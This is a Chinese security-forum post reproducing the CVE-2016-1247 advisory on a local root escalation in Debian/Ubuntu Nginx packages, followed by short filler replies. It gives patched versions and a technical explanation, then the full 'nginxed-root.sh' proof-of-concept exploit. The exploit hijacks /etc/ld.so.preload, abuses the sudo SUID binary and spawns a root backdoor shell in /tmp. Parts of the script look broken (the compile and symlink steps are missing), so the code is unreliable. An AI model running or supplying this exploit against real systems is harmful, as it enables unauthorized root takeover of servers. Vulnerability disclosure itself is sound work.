请选择 进入手机版 | 继续访问电脑版
查看: 13915|回复: 8622

[Linux/Mac] CVE-2016-1247:Debian、ubuntu发行版的Nginx本地提权漏洞(含POC)

[复制链接]
  • TA的每日心情

    昨天 18:11
  • 签到天数: 612 天

    [LV.9]以坛为家II

    发表于 2016-11-16 14:47:15 | 显示全部楼层 |阅读模式

    漏洞发现人:Dawid Golunski

    CVE编号  :CVE-2016-1247

    发行日期  :15.11.2016

    安全级别  :

    1.漏洞概要


    Debian发行版的Nginx本地提权漏洞,该漏洞已经在1.6.2-5+deb8u3中修复

    因为该漏洞细节是在官方修复后公布的,因此请低版本的Debian/ubuntu用户及时更新补丁:

    补丁修复情况:

    Debian:

    在Nginx 1.6.2-5+deb8u3中修复

    Ubuntu:

    Ubuntu 16.04 LTS:

    在1.10.0-0ubuntu0.16.04.3中修复

    Ubuntu 14.04 LTS:

    在1.4.6-1ubuntu3.6中修复

    Ubuntu 16.10:

    在1.10.1-0ubuntu1.1中修复


    2.漏洞描述


    Debian(Ubuntu)发行版的Nginx在新建日志目录的时,使用了不安全的权限,因此本地恶意攻击者可以从nginx/web用户权限(www-data)提升到ROOT。


    3.漏洞细节


    基于Debian系统默认安装的Nginx会在下面的路径使用下面的权限新建Nginx日志目录

    [C] 纯文本查看 复制代码
    root@xenial:~# ls -ld /var/log/nginx/
    drwxr-x--- 2 www-data adm 4096 Nov 12 22:32 /var/log/nginx/
    root@xenial:~# ls -ld /var/log/nginx/*
    -rw-r----- 1 www-data adm         0 Nov 12 22:31 /var/log/nginx/access.log
    -rw-r--r-- 1 root     root    0 Nov 12 22:47 /var/log/nginx/error.log

    我们可以看到/var/log/nginx目录的拥有者是www-data,因此本地攻击者可以通过符号链接到任意文件来替换日志文件,从而实现提权。

    攻击者通过符号链接替换了了日志文件后,需要等nginx daemon重新打开日志文件,因此需要重启Nginx,或者nginx damon接受USR1进程信号。

    这里亮点来了,USR1进程信号会在默认安装的Nginx通过logrotate脚本调用的do_rotate()函数自动触发。

    --------[ /etc/logrotate.d/nginx ]--------

    [C] 纯文本查看 复制代码
    /var/log/nginx/*.log {
    daily
    missingok
    rotate 52
    compress
    delaycompress
    notifempty
    create 0640 www-data adm
    sharedscripts
    prerotate
    if [ -d /etc/logrotate.d/httpd-prerotate ]; then \
    run-parts /etc/logrotate.d/httpd-prerotate; \
    fi \
    endscript
    postrotate
    invoke-rc.d nginx rotate >/dev/null 2>&1
    endscript
    }
    [...]
    do_rotate() {
            start-stop-daemon --stop --signal USR1 --quiet --pidfile $PID --name $NAME
            return 0
    }
    [...]

    我们可以看到logrotation脚本会在corn中每天6:25AM自动调用,因此如果/etc/logrotate.d/nginx已经设置了'daily'日志回滚,攻击者将在不需要任何系统管理员交互的情况下,在24小时内实现提权到ROOT


    4.漏洞验证截图

    5.POC

    [Python] 纯文本查看 复制代码
    #!/bin/bash
    #
    # Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit
    # nginxed-root.sh (ver. 1.0)
    #
    # CVE-2016-1247
    #
    # Discovered and coded by:
    #
    # Dawid Golunski
    # dawid[at]legalhackers.com
    #
    # [url=https://legalhackers.com]https://legalhackers.com[/url]
    #
    # Follow [url=https://twitter.com/dawid_golunski]https://twitter.com/dawid_golunski[/url] for updates on this advisory.
    #
    # ---
    # This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
    # etc.) to escalate their privileges from nginx web server user (www-data) to root 
    # through unsafe error log handling.
    #
    # The exploit waits for Nginx server to be restarted or receive a USR1 signal.
    # On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
    # script which is called daily by the cron.daily on default installations.
    # The restart should take place at 6:25am which is when cron.daily executes.
    # Attackers can therefore get a root shell automatically in 24h at most without any admin
    # interaction just by letting the exploit run till 6:25am assuming that daily logrotation 
    # has been configured. 
    #
    #
    # Exploit usage:
    # ./nginxed-root.sh path_to_nginx_error.log 
    #
    # To trigger logrotation for testing the exploit, you can run the following command:
    #
    # /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
    #
    # See the full advisory for details at:
    # [url=https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html]https://legalhackers.com/advisor ... -CVE-2016-1247.html[/url]
    #
    # Video PoC:
    # [url=https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html]https://legalhackers.com/videos/ ... -CVE-2016-1247.html[/url]
    #
    #
    # Disclaimer:
    # For testing purposes only. Do no harm.
    #
    BACKDOORSH="/bin/bash"
    BACKDOORPATH="/tmp/nginxrootsh"
    PRIVESCLIB="/tmp/privesclib.so"
    PRIVESCSRC="/tmp/privesclib.c"
    SUIDBIN="/usr/bin/sudo"
    function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $ERRORLOG
    touch $ERRORLOG
    if [ -f /etc/ld.so.preload ]; then
    echo -n > /etc/ld.so.preload
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
    }
    function ctrl_c() {
            echo -e "\n[+] Ctrl+C pressed"
    cleanexit 0
    }
    #intro 
    cat <<_eascii_
     _______________________________
    < Is your server (N)jinxed ? ;o > -------------------------------
               \ 
                \          __---__
                        _-       /--______
                   __--( /     \ )XXXXXXXXXXX\v.  
                 .-XXX(   O   O  )XXXXXXXXXXXXXXX- 
                /XXX(       U     )        XXXXXXX\ 
              /XXXXX(              )--_  XXXXXXXXXXX\ 
             /XXXXX/ (      O     )   XXXXXX   \XXXXX\ 
             XXXXX/   /            XXXXXX   \__ \XXXXX
             XXXXXX__/          XXXXXX         \__---->
     ---___  XXX__/          XXXXXX      \__         /
       \-  --__/   ___/\  XXXXXX            /  ___--/=
        \-\    ___/    XXXXXX              '--- XXXXXX
           \-\/XXX\ XXXXXX                      /XXXXX
             \XXXXXXXXX   \                    /XXXXX/
              \XXXXXX      >                 _/XXXXX/
                \XXXXX--__/              __-- XXXX/
                 -XXXXXXXX---------------  XXXXXX-
                    \XXXXXXXXXXXXXXXXXXXXXXXXXX/
                      ""VXXXXXXXXXXXXXXXXXXV""
    _eascii_
    echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
    echo -e "Discovered and coded by: \n\nDawid Golunski \n[url=https://legalhackers.com]https://legalhackers.com[/url] \033[0m"
    # Args
    if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
    echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
    exit 3
    fi
    # Priv check
    echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
    id | grep -q www-data
    if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
    exit 3
    fi
    # Set target paths
    ERRORLOG="$1"
    if [ ! -f $ERRORLOG ]; then
    echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
    exit 3
    fi
    # [ Exploitation ]
    trap ctrl_c INT
    # Compile privesc preload library
    echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
    cat /dev/null 2>/dev/null
    # Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily 
    # rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
    echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
    while :; do 
    sleep 1
    if [ -f /etc/ld.so.preload ]; then
    echo $PRIVESCLIB > /etc/ld.so.preload
    rm -f $ERRORLOG
    break;
    fi
    done
    # /etc/ld.so.preload should be owned by www-data user at this point
    # Inject the privesc.so shared library to escalate privileges
    echo $PRIVESCLIB > /etc/ld.so.preload
    echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
    echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
    echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
    chmod 755 /etc/ld.so.preload
    # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
    echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
    sudo 2>/dev/null >/dev/null
    # Check for the rootshell
    ls -l $BACKDOORPATH
    ls -l $BACKDOORPATH | grep rws | grep -q root
    if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
    else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
    fi
    rm -f $ERRORLOG
    echo > $ERRORLOG
      
    # Use the rootshell to perform cleanup that requires root privilges
    $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
    # Reset the logging to error.log
    $BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
    # Execute the rootshell
    echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
    $BACKDOORPATH -p -i
    # Job done.
    cleanexit 0



    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?注册

    x
    回复

    使用道具 举报

    该用户从未签到

    发表于 2016-11-16 15:01:53 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-11-16 16:09:01 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2015-6-21 22:12
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-11-16 17:18:31 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-11-16 17:40:58 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-11-16 18:58:09 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-11-16 20:44:31 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-11-16 21:54:27 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2016-11-16 23:36:48 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    郁闷
    2016-4-13 21:38
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-11-17 00:26:12 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表